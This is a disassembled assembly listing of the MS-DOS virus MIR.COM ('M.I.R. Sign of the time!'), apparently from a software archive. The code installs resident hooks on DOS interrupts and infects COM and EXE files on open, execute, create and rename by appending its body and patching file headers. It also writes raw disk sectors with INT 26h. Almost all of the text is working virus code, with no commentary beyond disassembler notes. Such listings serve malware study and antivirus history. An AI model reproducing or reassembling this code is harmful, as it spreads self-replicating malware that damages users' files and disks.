home *** CD-ROM | disk | FTP | other *** search
- ; File: MIR.COM
- ; File Type: COM
- ; Processor: 8086/87/88
- ; Range: 00100h to 007d3h
- ; Memory Needed: 2 Kb
- ; Initial Stack: 0000:fffe
- ; Entry Point: 0000:0100
- ; Subroutines: 11
-
- .radix 16
- cseg segment para public 'CODE'
- assume cs:cseg,ds:cseg,es:cseg,ss:cseg
- org 0100h
- ; >>>> starts execution here <<<<
- o00100 proc far
- ;-----------------------------------------------------
- o00100 db 'M.' ;0000:0100
- d00102 db 'I.R.' ;0000:0102
- d00106 db ' *-*-*-* Sign of the ' ;0000:0106
- db 'time!' ;0000:011b
- db 00 ;0000:0120 .
- ;-----------------------------------------------------
- nop
- nop
- nop
- nop
- pop dx
- m00126: mov bx,es
- add bx,10h
- add bx,WORD PTR cs:[si+06c8h]
- mov WORD PTR cs:[si+0053h],bx
- mov bx,WORD PTR cs:[si+06c6h]
- mov WORD PTR cs:[si+0051h],bx
- mov bx,es
- add bx,10h
- add bx,WORD PTR cs:[si+06cch]
- mov ss,bx
- mov sp,WORD PTR cs:[si+06cah]
- jmp 0000:0000
- m00155: mov di,0100h
- add si,06ceh
- movsb ;Mov DS:[SI]->ES:[DI]
- movsw ;Mov DS:[SI]->ES:[DI]
- mov sp,WORD PTR [d00006]
- xor bx,bx ;Load register w/ 0
- push bx
- jmp WORD PTR [si-0bh]
- call s1 ;<0016b>
- o00100 endp
-
- ;<0016b>
- s1 proc near
- pop si
- sub si,006bh
- cld ;Forward String Opers
- nop
- cmp WORD PTR cs:[si+06ceh],5a4dh
- jz b0018b ;Jump if equal (ZF=1)
- cli ;Turn OFF Interrupts
- nop
- mov sp,si
- add sp,07d1h
- sti ;Turn ON Interrupts
- nop
- cmp sp,WORD PTR [d00006]
- jnb m00155 ;Jump if >= (no sign)
- b0018b: push ax
- push es
- nop
- push si
- push ds
- mov di,si
- xor ax,ax ;Load register w/ 0
- nop
- push ax
- mov ds,ax
- les ax,DWORD PTR [d0004c]
- nop
- mov WORD PTR cs:[si+06bdh],ax
- mov WORD PTR cs:[si+06bfh],es
- mov WORD PTR cs:[si+06b8h],ax
- nop
- mov WORD PTR cs:[si+06bah],es
- mov ax,WORD PTR [d00102]
- cmp ax,0f000h
- nop
- jnz b00235 ;Jump not equal(ZF=0)
- mov WORD PTR cs:[si+06bah],ax
- mov ax,WORD PTR [o00100]
- mov WORD PTR cs:[si+06b8h],ax
- nop
- mov dl,80h
- mov ax,WORD PTR [d00106]
- cmp ax,0f000h
- jz b001f2 ;Jump if equal (ZF=1)
- nop
- cmp ah,0c8h
- jb b00235 ;Jump if < (no sign)
- cmp ah,0f4h
- jnb b00235 ;Jump if >= (no sign)
- nop
- test al,7fh ;Flags=Arg1 AND Arg2
- jnz b00235 ;Jump not equal(ZF=0)
- mov ds,ax
- cmp WORD PTR [d00000],0aa55h
- nop
- jnz b00235 ;Jump not equal(ZF=0)
- mov dl,BYTE PTR [d00002]
- b001f2: mov ds,ax
- xor dh,dh ;Load register w/ 0
- mov cl,09
- shl dx,cl ;Multiply by 2's
- mov cx,dx
- xor si,si ;Load register w/ 0
- b001fe: lodsw ;Load AX with DS:[SI]
- cmp ax,0fa80h
- jnz b0020c ;Jump not equal(ZF=0)
- lodsw ;Load AX with DS:[SI]
- cmp ax,7380h
- jz b00217 ;Jump if equal (ZF=1)
- jnz b00221 ;Jump not equal(ZF=0)
- b0020c: cmp ax,0c2f6h
- jnz b00223 ;Jump not equal(ZF=0)
- lodsw ;Load AX with DS:[SI]
- cmp ax,7580h
- jnz b00221 ;Jump not equal(ZF=0)
- b00217: inc si
- lodsw ;Load AX with DS:[SI]
- cmp ax,40cdh
- jz b00228 ;Jump if equal (ZF=1)
- sub si,03
- b00221: dec si
- dec si
- b00223: dec si
- loop b001fe ;Dec CX;Loop if CX>0
- jmp short b00235
- b00228: sub si,07
- mov WORD PTR cs:[di+06bdh],si
- mov WORD PTR cs:[di+06bfh],ds
- b00235: mov si,di
- pop ds
- push cs
- pop ds
- cmp ax,02fah
- jnz b0025c ;Jump not equal(ZF=0)
- xor di,di ;Load register w/ 0
- mov cx,06b8h
- b00252: lodsb ;Load AL with DS:[SI]
- scasb ;Flags = AL - ES:[DI]
- jnz b0025c ;Jump not equal(ZF=0)
- loop b00252 ;Dec CX;Loop if CX>0
- pop es
- jmp m002e9
- b0025c: pop es
- mov ah,49h
- int 21h ;undefined
- mov bx,0ffffh
- mov ah,48h
- int 21h ;undefined
- sub bx,00e0h
- jb m002e9 ;Jump if < (no sign)
- mov cx,es
- stc
- adc cx,bx
- mov ah,4ah
- int 21h ;undefined
- mov bx,00dfh
- stc
- sbb WORD PTR es:[d00002],bx
- push es
- mov es,cx
- mov ah,4ah
- int 21h ;undefined
- mov ax,es
- dec ax
- mov ds,ax
- mov WORD PTR [d00001],0008h
- call s11 ;<007a7>
- mov bx,ax
- mov cx,dx
- pop ds
- mov ax,ds
- call s11 ;<007a7>
- add ax,WORD PTR [d00006]
- adc dx,00
- sub ax,bx
- sbb dx,cx
- jb b002b0 ;Jump if < (no sign)
- sub WORD PTR [d00006],ax
- b002b0: pop si
- push si
- push ds
- push cs
- xor di,di ;Load register w/ 0
- mov ds,di
- lds ax,DWORD PTR [d0009c]
- mov WORD PTR cs:[si+0714h],ax
- mov WORD PTR cs:[si+0716h],ds
- pop ds
- mov cx,071ch
- repz movsb ;Mov DS:[SI]->ES:[DI]
- xor ax,ax ;Load register w/ 0
- mov ds,ax
- pop es
- m002e9: pop si
- xor ax,ax ;Load register w/ 0
- mov ds,ax
- mov ax,WORD PTR [d0004c]
- mov WORD PTR cs:[si+06c2h],ax
- mov ax,WORD PTR [d0004e]
- mov WORD PTR cs:[si+06c4h],ax
- mov WORD PTR [d0004c],06adh
- add WORD PTR [d0004c],si
- mov WORD PTR [d0004e],cs
- pop ds
- push ds
- push si
- mov bx,si
- lds ax,DWORD PTR [d0002a]
- xor si,si ;Load register w/ 0
- mov dx,si
- b00319: lodsw ;Load AX with DS:[SI]
- dec si
- test ax,ax ;Flags=Arg1 AND Arg2
- jnz b00319 ;Jump not equal(ZF=0)
- add si,03
- lodsb ;Load AL with DS:[SI]
- sub al,41h
- mov cx,0001h
- push cs
- pop ds
- add bx,02b5h
- push ax
- push bx
- push cx
- int 25h ;undefined
- pop ax
- pop cx
- pop bx
- inc BYTE PTR [bx+0ah]
- and BYTE PTR [bx+0ah],0fh
- jnz b00372 ;Jump not equal(ZF=0)
- mov al,BYTE PTR [bx+10h]
- xor ah,ah ;Load register w/ 0
- mul WORD PTR [bx+16h]
- add ax,WORD PTR [bx+0eh]
- push ax
- mov ax,WORD PTR [bx+11h]
- mov dx,0020h
- mul dx
- div WORD PTR [bx+0bh]
- pop dx
- add dx,ax
- mov ax,WORD PTR [bx+08]
- add ax,0040h
- cmp ax,WORD PTR [bx+13h]
- jb b0036f ;Jump if < (no sign)
- inc ax
- and ax,003fh
- add ax,dx
- cmp ax,WORD PTR [bx+13h]
- jnb b0038b ;Jump if >= (no sign)
- b0036f: mov WORD PTR [bx+08],ax
- b00372: pop ax
- xor dx,dx ;Load register w/ 0
- push ax
- push bx
- push cx
- int 26h ;undefined
- pop ax
- pop cx
- pop bx
- pop ax
- cmp BYTE PTR [bx+0ah],00
- jnz b0038c ;Jump not equal(ZF=0)
- mov dx,WORD PTR [bx+08]
- pop bx
- push bx
- int 26h ;undefined
- b0038b: pop ax
- b0038c: pop si
- xor ax,ax ;Load register w/ 0
- mov ds,ax
- mov ax,WORD PTR cs:[si+06c2h]
- mov WORD PTR [d0004c],ax
- mov ax,WORD PTR cs:[si+06c4h]
- mov WORD PTR [d0004e],ax
- pop ds
- pop ax
- cmp WORD PTR cs:[si+06ceh],5a4dh
- jnz b003af ;Jump not equal(ZF=0)
- jmp m00126
- b003af: jmp m00155
- mov al,03
- iret ;POP flags and Return
- pushf ;Push flags on Stack
- call s7 ;<00728>
- popf ;Pop flags off Stack
- jmp DWORD PTR cs:[d00714]
- b003bf: mov WORD PTR cs:[d00714],dx
- mov WORD PTR cs:[b00716],ds
- popf ;Pop flags off Stack
- iret ;POP flags and Return
- b003cb: mov WORD PTR cs:[d00718],dx
- mov WORD PTR cs:[d0071a],ds
- popf ;Pop flags off Stack
- iret ;POP flags and Return
- b003d7: les bx,DWORD PTR cs:[d00714]
- popf ;Pop flags off Stack
- iret ;POP flags and Return
- b003de: les bx,DWORD PTR cs:[d00718]
- popf ;Pop flags off Stack
- iret ;POP flags and Return
- b003e5: call s5 ;<0050b>
- call s7 ;<00728>
- popf ;Pop flags off Stack
- jmp DWORD PTR cs:[d00718]
- ;-----------------------------------------------------
- db '&^%s%c' ;0000:03f1
- ;-----------------------------------------------------
- and ax,0064h
- push bp ;Get Args from Stack
- mov bp,sp
- push WORD PTR [bp+06]
- popf ;Pop flags off Stack
- pop bp ;End High Level Subr
- pushf ;Push flags on Stack
- call s8 ;<00732>
- cmp ax,2521h
- jz b003cb ;Jump if equal (ZF=1)
- cmp ax,2527h
- jz b003bf ;Jump if equal (ZF=1)
- cmp ax,3527h
- jz b003d7 ;Jump if equal (ZF=1)
- cld ;Forward String Opers
- cmp ax,4b00h
- jz b003e5 ;Jump if equal (ZF=1)
- cmp ah,3ch
- jz b0042f ;Jump if equal (ZF=1)
- cmp ah,3eh
- jz b0046b ;Jump if equal (ZF=1)
- cmp ah,5bh
- jnz b00495 ;Jump not equal(ZF=0)
- b0042f: cmp WORD PTR cs:[d006d1],00
- jnz b004ac ;Jump not equal(ZF=0)
- call s2 ;<004c2>
- jnz b004ac ;Jump not equal(ZF=0)
- call s7 ;<00728>
- popf ;Pop flags off Stack
- call s4 ;<00504>
- jb b004b3 ;Jump if < (no sign)
- pushf ;Push flags on Stack
- push es
- push cs
- pop es
- push si
- push di
- push cx
- push ax
- mov di,06d1h
- stosw ;Store AX at ES:[DI]
- mov si,dx
- mov cx,0041h
- b00456: lodsb ;Load AL with DS:[SI]
- stosb ;Store AL at ES:[DI]
- test al,al ;Flags=Arg1 AND Arg2
- jz b00463 ;Jump if equal (ZF=1)
- loop b00456 ;Dec CX;Loop if CX>0
- mov WORD PTR es:[d006d1],cx
- b00463: pop ax
- pop cx
- pop di
- pop si
- pop es
- b00468: popf ;Pop flags off Stack
- jnb b004b3 ;Jump if >= (no sign)
- b0046b: cmp bx,WORD PTR cs:[d006d1]
- jnz b004ac ;Jump not equal(ZF=0)
- test bx,bx ;Flags=Arg1 AND Arg2
- jz b004ac ;Jump if equal (ZF=1)
- call s7 ;<00728>
- popf ;Pop flags off Stack
- call s4 ;<00504>
- jb b004b3 ;Jump if < (no sign)
- pushf ;Push flags on Stack
- push ds
- push cs
- pop ds
- push dx
- mov dx,06d3h
- call s5 ;<0050b>
- mov WORD PTR cs:[d006d1],0000h
- pop dx
- pop ds
- jmp short b00468
- b00495: cmp ah,3dh
- jz b004a4 ;Jump if equal (ZF=1)
- cmp ah,43h
- jz b004a4 ;Jump if equal (ZF=1)
- cmp ah,56h
- jnz b004ac ;Jump not equal(ZF=0)
- b004a4: call s2 ;<004c2>
- jnz b004ac ;Jump not equal(ZF=0)
- call s5 ;<0050b>
- b004ac: call s7 ;<00728>
- popf ;Pop flags off Stack
- call s4 ;<00504>
- b004b3: pushf ;Push flags on Stack
- push ds
- call s9 ;<0078b>
- mov BYTE PTR [d00000],5ah
- pop ds
- popf ;Pop flags off Stack
- ret 0002h ;(far)
- s1 endp
-
- ;<004c2>
- s2 proc near
- push ax
- push si
- mov si,dx
- b004c6: lodsb ;Load AL with DS:[SI]
- test al,al ;Flags=Arg1 AND Arg2
- jz b004f3 ;Jump if equal (ZF=1)
- cmp al,64h ;(d)
- jz b004f3 ;Jump if equal (ZF=1)
- add al,01
- cmp al,2eh ;(.)
- jnz b004c6 ;Jump not equal(ZF=0)
- call s3 ;<004f8>
- mov ah,al
- call s3 ;<004f8>
- cmp ax,6f76h
- jz b004ee ;Jump if equal (ZF=1)
- cmp ax,6578h
- jnz b004f5 ;Jump not equal(ZF=0)
- call s3 ;<004f8>
- cmp al,65h ;(e)
- jmp short b004f5
- b004ee: call s3 ;<004f8>
- jnz b004f5 ;Jump not equal(ZF=0)
- b004f3: inc al
- b004f5: pop si
- pop ax
- ret
- s2 endp
-
- ;<004f8>
- s3 proc near
- lodsb ;Load AL with DS:[SI]
- cmp al,43h ;(C)
- jb b00503 ;Jump if < (no sign)
- cmp al,59h ;(Y)
- jnb b00503 ;Jump if >= (no sign)
- add al,19h
- b00503: ret
- s3 endp
-
- ;<00504>
- s4 proc near
- pushf ;Push flags on Stack
- call DWORD PTR cs:[d00718]
- ret
- s4 endp
-
- ;<0050b>
- s5 proc near
- push ds
- push es
- push si
- push di
- push ax
- push bx
- push cx
- push dx
- mov si,ds
- xor ax,ax ;Load register w/ 0
- mov ds,ax
- les ax,DWORD PTR [d00090]
- push es
- push ax
- mov WORD PTR [d00090],02b2h
- mov WORD PTR [d00092],cs
- les ax,DWORD PTR [d0004c]
- mov WORD PTR cs:[d006c2],ax
- mov WORD PTR cs:[d006c4],es
- mov WORD PTR [d0004c],06adh
- mov WORD PTR [d0004e],cs
- push es
- push ax
- mov ds,si
- xor cx,cx ;Load register w/ 0
- mov ax,4300h
- call s4 ;<00504>
- mov bx,cx
- and cl,0feh
- cmp cl,bl
- jz b0055c ;Jump if equal (ZF=1)
- mov ax,4301h
- call s4 ;<00504>
- stc
- b0055c: pushf ;Push flags on Stack
- push ds
- push dx
- push bx
- mov ax,3d02h
- call s4 ;<00504>
- jb b00572 ;Jump if < (no sign)
- mov bx,ax
- call s6 ;<0059b>
- mov ah,3eh
- call s4 ;<00504>
- b00572: pop cx
- pop dx
- pop ds
- popf ;Pop flags off Stack
- jnb b0057e ;Jump if >= (no sign)
- mov ax,4301h
- call s4 ;<00504>
- b0057e: xor ax,ax ;Load register w/ 0
- mov ds,ax
- pop WORD PTR [d0004c]
- pop WORD PTR [d0004e]
- pop WORD PTR [d00090]
- pop WORD PTR [d00092]
- pop dx
- pop cx
- pop bx
- pop ax
- pop di
- pop si
- pop es
- pop ds
- ret
- s5 endp
-
- ;<0059b>
- s6 proc near
- spc=$
- org 0006c2h
- d006c2: org 0006c4h
- d006c4: org 0006d1h
- d006d1: org 000714h
- d00714: org 000716h
- d00716: org 000718h
- d00718: org 00071ah
- d0071a: org 00071ch
- d0071c: org 00071dh
- d0071d: org 00071eh
- d0071e: org 000720h
- d00720: org 000724h
- d00724: org spc
- push cs
- pop ds
- push cs
- pop es
- mov dx,071ch
- mov cx,0018h
- mov ah,3fh
- int 21h ;undefined
- xor cx,cx ;Load register w/ 0
- xor dx,dx ;Load register w/ 0
- mov ax,4202h
- int 21h ;undefined
- mov WORD PTR [d00736],dx
- cmp ax,06b8h
- sbb dx,00
- jb b0062c ;Jump if < (no sign)
- mov WORD PTR [d00734],ax
- cmp WORD PTR [d0071c],5a4dh
- jnz b005e0 ;Jump not equal(ZF=0)
- mov ax,WORD PTR [d00724]
- add ax,WORD PTR [s8 ;<00732>]
- call s11 ;<007a7>
- add ax,WORD PTR [d00730]
- adc dx,00
- mov cx,dx
- mov dx,ax
- jmp short b005f5
- b005e0: cmp BYTE PTR [d0071c],0e9h
- jnz b0062d ;Jump not equal(ZF=0)
- mov dx,WORD PTR [b0071d]
- add dx,0103h
- jb b0062d ;Jump if < (no sign)
- dec dh
- xor cx,cx ;Load register w/ 0
- b005f5: sub dx,68h
- sbb cx,00
- mov ax,4200h
- int 21h ;undefined
- add ax,06d1h
- adc dx,00
- cmp ax,WORD PTR [d00734]
- jnz b0062d ;Jump not equal(ZF=0)
- cmp dx,WORD PTR [d00736]
- jnz b0062d ;Jump not equal(ZF=0)
- mov dx,0738h
- mov si,dx
- mov cx,06b8h
- mov ah,3fh
- int 21h ;undefined
- jb b0062d ;Jump if < (no sign)
- cmp cx,ax
- jnz b0062d ;Jump not equal(ZF=0)
- xor di,di ;Load register w/ 0
- b00626: lodsb ;Load AL with DS:[SI]
- scasb ;Flags = AL - ES:[DI]
- jnz b0062d ;Jump not equal(ZF=0)
- loop b00626 ;Dec CX;Loop if CX>0
- b0062c: ret
- b0062d: xor cx,cx ;Load register w/ 0
- xor dx,dx ;Load register w/ 0
- mov ax,4202h
- int 21h ;undefined
- cmp WORD PTR [d0071c],5a4dh
- jz b00647 ;Jump if equal (ZF=1)
- add ax,091ch
- adc dx,00
- jz b0065e ;Jump if equal (ZF=1)
- ret
- b00647: mov dx,WORD PTR [d00734]
- neg dl
- and dx,0fh
- xor cx,cx ;Load register w/ 0
- mov ax,4201h
- int 21h ;undefined
- mov WORD PTR [d00734],ax
- mov WORD PTR [d00736],dx
- b0065e: mov ax,5700h
- int 21h ;undefined
- pushf ;Push flags on Stack
- push cx
- push dx
- cmp WORD PTR [d0071c],5a4dh
- jz b00673 ;Jump if equal (ZF=1)
- mov ax,0100h
- jmp short b0067a
- b00673: mov ax,WORD PTR [d00730]
- mov dx,WORD PTR [s8 ;<00732>]
- b0067a: mov di,06c6h
- stosw ;Store AX at ES:[DI]
- mov ax,dx
- stosw ;Store AX at ES:[DI]
- mov ax,WORD PTR [d0072c]
- stosw ;Store AX at ES:[DI]
- mov ax,WORD PTR [d0072a]
- stosw ;Store AX at ES:[DI]
- mov si,071ch
- movsb ;Mov DS:[SI]->ES:[DI]
- movsw ;Mov DS:[SI]->ES:[DI]
- xor dx,dx ;Load register w/ 0
- mov cx,06d1h
- mov ah,40h
- int 21h ;undefined
- jb b006bf ;Jump if < (no sign)
- xor cx,ax
- jnz b006bf ;Jump not equal(ZF=0)
- mov dx,cx
- mov ax,4200h
- int 21h ;undefined
- cmp WORD PTR [d0071c],5a4dh
- jz b006c1 ;Jump if equal (ZF=1)
- mov BYTE PTR [d0071c],0e9h
- mov ax,WORD PTR [d00734]
- add ax,0065h
- mov WORD PTR [b0071d],ax
- mov cx,0003h
- jmp short b00716
- b006bf: jmp short b0071d
- b006c1: call s10 ;<007a4>
- not ax
- not dx
- inc ax
- jnz b006cc ;Jump not equal(ZF=0)
- inc dx
- b006cc: add ax,WORD PTR [d00734]
- adc dx,WORD PTR [d00736]
- mov cx,0010h
- div cx
- mov WORD PTR [d00730],0068h
- mov WORD PTR [s8 ;<00732>],ax
- add ax,006eh
- mov WORD PTR [d0072a],ax
- mov WORD PTR [d0072c],0100h
- add WORD PTR [d00734],06d1h
- adc WORD PTR [d00736],00
- mov ax,WORD PTR [d00734]
- and ax,01ffh
- mov WORD PTR [d0071e],ax
- pushf ;Push flags on Stack
- mov ax,WORD PTR [d00735]
- shr BYTE PTR [d00737],1 ;Divide by 2's
- rcr ax,1 ;CF-->[HI .. LO]-->CF
- popf ;Pop flags off Stack
- jz b00710 ;Jump if equal (ZF=1)
- inc ax
- b00710: mov WORD PTR [d00720],ax
- mov cx,0018h
- b00716: mov dx,071ch
- mov ah,40h
- int 21h ;undefined
- b0071d: pop dx
- pop cx
- popf ;Pop flags off Stack
- jb b00727 ;Jump if < (no sign)
- mov ax,5701h
- int 21h ;undefined
- b00727: ret
- s6 endp
-
- ;<00728>
- s7 proc near
- spc=$
- org 00072ah
- d0072a: org 00072ch
- d0072c: org 000730h
- d00730: org spc
- push ds
- call s9 ;<0078b>
- mov BYTE PTR [d00000],4dh
- pop ds
- s7 endp
-
- ;<00732>
- s8 proc near
- spc=$
- org 000732h
- d00732: org 000734h
- d00734: org 000735h
- d00735: org 000736h
- d00736: org 000737h
- d00737: org spc
- push ds
- push ax
- push bx
- push dx
- xor bx,bx ;Load register w/ 0
- mov ds,bx
- lds dx,DWORD PTR [d00084]
- cmp dx,02fah
- jnz b0074e ;Jump not equal(ZF=0)
- mov ax,ds
- mov bx,cs
- cmp ax,bx
- jz b00786 ;Jump if equal (ZF=1)
- xor bx,bx ;Load register w/ 0
- b0074e: mov ax,WORD PTR [bx]
- cmp ax,02fah
- jnz b0075c ;Jump not equal(ZF=0)
- mov ax,cs
- cmp ax,WORD PTR [bx+02]
- jz b00761 ;Jump if equal (ZF=1)
- b0075c: inc bx
- jnz b0074e ;Jump not equal(ZF=0)
- jz b0077a ;Jump if equal (ZF=1)
- b00761: mov ax,WORD PTR cs:[d00718]
- mov WORD PTR [bx],ax
- mov ax,WORD PTR cs:[d0071a]
- mov WORD PTR [bx+02],ax
- mov WORD PTR cs:[d00718],dx
- mov WORD PTR cs:[d0071a],ds
- xor bx,bx ;Load register w/ 0
- b0077a: mov ds,bx
- mov WORD PTR [d00084],02fah
- mov WORD PTR [d00086],cs
- b00786: pop dx
- pop bx
- pop ax
- pop ds
- ret
- s8 endp
-
- ;<0078b>
- s9 proc near
- push ax
- push bx
- mov ah,62h
- call s4 ;<00504>
- mov ax,cs
- dec ax
- dec bx
- b00796: mov ds,bx
- stc
- adc bx,WORD PTR [d00003]
- cmp bx,ax
- jb b00796 ;Jump if < (no sign)
- pop bx
- pop ax
- ret
- s9 endp
-
- ;<007a4>
- s10 proc near
- mov ax,WORD PTR [d00724]
- s10 endp
-
- ;<007a7>
- s11 proc near
- mov dx,0010h
- mul dx
- ret
- ;-----------------------------------------------------
- cmp ah,03
- jnz b007c1 ;Jump not equal(ZF=0)
- cmp dl,80h
- jnb b007bc ;Jump if >= (no sign)
- jmp 0000:0000
- b007bc: jmp 0000:0000
- b007c1: jmp 0000:0000
- ;-----------------------------------------------------
- db 00,01 ;0000:07c6 ..
- db 6d dup (00h) ;0000:07c8 (.)
- db 0cdh,20,90,90,90,90 ;0000:07ce . ....
- s11 endp
- spc=$
- org 000000h
- d00000: org 000001h
- d00001: org 000002h
- d00002: org 000003h
- d00003: org 000006h
- d00006: org 00002ah
- d0002a: org 00004ch
- d00086: org 000090h
- d00090: org 000092h
- d00092: org 00009ch
- d0009c: org 00009eh
- d0009e: org spc
- cseg ends
- end o00100